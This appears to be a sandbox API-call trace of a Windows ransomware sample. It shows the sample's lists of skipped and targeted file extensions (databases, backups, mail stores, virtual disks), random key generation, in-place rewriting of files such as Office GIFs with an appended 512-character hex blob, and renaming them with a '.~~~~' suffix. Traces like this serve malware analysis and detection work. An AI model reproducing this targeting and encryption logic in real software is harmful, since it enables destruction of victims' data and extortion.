	[0140.866] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.866] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.867] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.867] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.867] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.867] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.868] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26085765185) returned 1
	[0140.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd5e9b30, dwHighDateTime=0x1d60e1e)) 
	[0140.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2a20
	[0140.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2a20 | out: hHeap=0x300000) returned 1
	[0140.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ceab8
	[0140.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.868] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.868] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceab8 | out: hHeap=0x300000) returned 1
	[0140.868] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.869] GetLastError () returned 0x0
	[0140.869] GetLastError () returned 0x0
	[0140.869] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.869] GetLastError () returned 0x0
	[0140.869] GetLastError () returned 0x0
	[0140.869] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x2d13, lpOverlapped=0x0) returned 1
	[0140.871] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffd2ed, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.871] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x2d13, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x2d13, lpOverlapped=0x0) returned 1
	[0140.872] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.872] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.872] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.872] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.872] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.872] CloseHandle (hObject=0x108) returned 1
	[0140.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ceab8
	[0140.872] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33f.gif.~~~~")) returned 1
	[0140.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceab8 | out: hHeap=0x300000) returned 1
	[0140.875] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.875] GetLastError () returned 0x0
	[0140.875] RtlWakeConditionVariable () returned 0x0
	[0140.875] GetCurrentThreadId () returned 0x3a4
	[0140.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".scr") returned 0x0
	[0140.875] lstrlenW (lpString=".cmd") returned 4
	[0140.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".cmd") returned 0x0
	[0140.875] lstrlenW (lpString=".dll") returned 4
	[0140.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".dll") returned 0x0
	[0140.876] lstrlenW (lpString=".bat") returned 4
	[0140.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".bat") returned 0x0
	[0140.876] lstrlenW (lpString=".cpl") returned 4
	[0140.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".cpl") returned 0x0
	[0140.876] lstrlenW (lpString=".sys") returned 4
	[0140.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".sys") returned 0x0
	[0140.876] lstrlenW (lpString=".msc") returned 4
	[0140.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".msc") returned 0x0
	[0140.876] lstrlenW (lpString=".com") returned 4
	[0140.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".com") returned 0x0
	[0140.876] lstrlenW (lpString=".lnk") returned 4
	[0140.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".lnk") returned 0x0
	[0140.876] lstrlenW (lpString=".msp") returned 4
	[0140.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".msp") returned 0x0
	[0140.876] lstrlenW (lpString=".pif") returned 4
	[0140.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".pif") returned 0x0
	[0140.876] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0140.876] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0140.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0140.879] lstrlenW (lpString=".sqb") returned 4
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".sqb") returned 0x0
	[0140.879] lstrlenW (lpString=".ost") returned 4
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".ost") returned 0x0
	[0140.879] lstrlenW (lpString=".txt") returned 4
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".txt") returned 0x0
	[0140.879] lstrlenW (lpString=".mdt") returned 4
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".mdt") returned 0x0
	[0140.879] lstrlenW (lpString=".BDB") returned 4
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".BDB") returned 0x0
	[0140.879] lstrlenW (lpString=".eql") returned 4
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".eql") returned 0x0
	[0140.879] lstrlenW (lpString=".DBF") returned 4
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".DBF") returned 0x0
	[0140.879] lstrlenW (lpString=".EQL") returned 4
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".EQL") returned 0x0
	[0140.879] lstrlenW (lpString=".FDB") returned 4
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".FDB") returned 0x0
	[0140.879] lstrlenW (lpString=".EDB") returned 4
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".EDB") returned 0x0
	[0140.879] lstrlenW (lpString=".DACPAC") returned 7
	[0140.879] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".DACPAC") returned 0x0
	[0140.880] lstrlenW (lpString=".VHD") returned 4
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".VHD") returned 0x0
	[0140.880] lstrlenW (lpString=".DBV") returned 4
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".DBV") returned 0x0
	[0140.880] lstrlenW (lpString=".dacpac") returned 7
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".dacpac") returned 0x0
	[0140.880] lstrlenW (lpString=".sdf") returned 4
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".sdf") returned 0x0
	[0140.880] lstrlenW (lpString=".accdb") returned 6
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".accdb") returned 0x0
	[0140.880] lstrlenW (lpString=".DBX") returned 4
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".DBX") returned 0x0
	[0140.880] lstrlenW (lpString=".MDT") returned 4
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".MDT") returned 0x0
	[0140.880] lstrlenW (lpString=".SQB") returned 4
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".SQB") returned 0x0
	[0140.880] lstrlenW (lpString=".vhd") returned 4
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".vhd") returned 0x0
	[0140.880] lstrlenW (lpString=".bac") returned 4
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".bac") returned 0x0
	[0140.880] lstrlenW (lpString=".mdf") returned 4
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".mdf") returned 0x0
	[0140.880] lstrlenW (lpString=".BAK") returned 4
	[0140.880] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".BAK") returned 0x0
	[0140.880] lstrlenW (lpString=".BAC") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".BAC") returned 0x0
	[0140.881] lstrlenW (lpString=".dbs") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".dbs") returned 0x0
	[0140.881] lstrlenW (lpString=".vhdx") returned 5
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".vhdx") returned 0x0
	[0140.881] lstrlenW (lpString=".NDF") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".NDF") returned 0x0
	[0140.881] lstrlenW (lpString=".dat") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".dat") returned 0x0
	[0140.881] lstrlenW (lpString=".DBS") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".DBS") returned 0x0
	[0140.881] lstrlenW (lpString=".CKP") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".CKP") returned 0x0
	[0140.881] lstrlenW (lpString=".edb") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".edb") returned 0x0
	[0140.881] lstrlenW (lpString=".PST") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".PST") returned 0x0
	[0140.881] lstrlenW (lpString=".dbf") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".dbf") returned 0x0
	[0140.881] lstrlenW (lpString=".SQL") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".SQL") returned 0x0
	[0140.881] lstrlenW (lpString=".pst") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".pst") returned 0x0
	[0140.881] lstrlenW (lpString=".dbv") returned 4
	[0140.881] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".dbv") returned 0x0
	[0140.881] lstrlenW (lpString=".SDF") returned 4
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".SDF") returned 0x0
	[0140.882] lstrlenW (lpString=".dtxs") returned 5
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".dtxs") returned 0x0
	[0140.882] lstrlenW (lpString=".db3") returned 4
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".db3") returned 0x0
	[0140.882] lstrlenW (lpString=".OST") returned 4
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".OST") returned 0x0
	[0140.882] lstrlenW (lpString=".dbx") returned 4
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".dbx") returned 0x0
	[0140.882] lstrlenW (lpString=".DB3") returned 4
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".DB3") returned 0x0
	[0140.882] lstrlenW (lpString=".DAT") returned 4
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".DAT") returned 0x0
	[0140.882] lstrlenW (lpString=".VHDX") returned 5
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".VHDX") returned 0x0
	[0140.882] lstrlenW (lpString=".ndf") returned 4
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".ndf") returned 0x0
	[0140.882] lstrlenW (lpString=".DB") returned 3
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".DB") returned 0x0
	[0140.882] lstrlenW (lpString=".sql") returned 4
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".sql") returned 0x0
	[0140.882] lstrlenW (lpString=".MYD") returned 4
	[0140.882] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".MYD") returned 0x0
	[0140.882] lstrlenW (lpString=".DBT") returned 4
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".DBT") returned 0x0
	[0140.883] lstrlenW (lpString=".ACCDB") returned 6
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".ACCDB") returned 0x0
	[0140.883] lstrlenW (lpString=".fdb") returned 4
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".fdb") returned 0x0
	[0140.883] lstrlenW (lpString=".bak") returned 4
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".bak") returned 0x0
	[0140.883] lstrlenW (lpString=".myd") returned 4
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".myd") returned 0x0
	[0140.883] lstrlenW (lpString=".DTXS") returned 5
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".DTXS") returned 0x0
	[0140.883] lstrlenW (lpString=".ckp") returned 4
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".ckp") returned 0x0
	[0140.883] lstrlenW (lpString=".dbt") returned 4
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".dbt") returned 0x0
	[0140.883] lstrlenW (lpString=".db") returned 3
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".db") returned 0x0
	[0140.883] lstrlenW (lpString=".TXT") returned 4
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".TXT") returned 0x0
	[0140.883] lstrlenW (lpString=".MDF") returned 4
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".MDF") returned 0x0
	[0140.883] lstrlenW (lpString=".bdb") returned 4
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".bdb") returned 0x0
	[0140.883] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0140.883] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0140.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0140.884] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0140.884] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0140.885] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0140.885] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0140.885] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0140.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0140.885] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0140.885] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=26087563202) returned 1
	[0140.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbd60fc90, dwHighDateTime=0x1d60e1e)) 
	[0140.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0140.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0140.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0140.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2a90
	[0140.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0140.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2a90 | out: hHeap=0x300000) returned 1
	[0140.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0140.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0140.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29b09d0
	[0140.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0140.886] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0b68
	[0140.886] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b09d0 | out: hHeap=0x300000) returned 1
	[0140.886] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0140.887] GetLastError () returned 0x0
	[0140.887] GetLastError () returned 0x0
	[0140.887] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0140.887] GetLastError () returned 0x0
	[0140.887] GetLastError () returned 0x0
	[0140.887] ReadFile (in: hFile=0x108, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x24dfec0*=0x1179, lpOverlapped=0x0) returned 1
	[0140.907] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffee87, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.907] WriteFile (in: hFile=0x108, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x1179, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x24dfec0*=0x1179, lpOverlapped=0x0) returned 1
	[0140.907] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.907] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.907] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
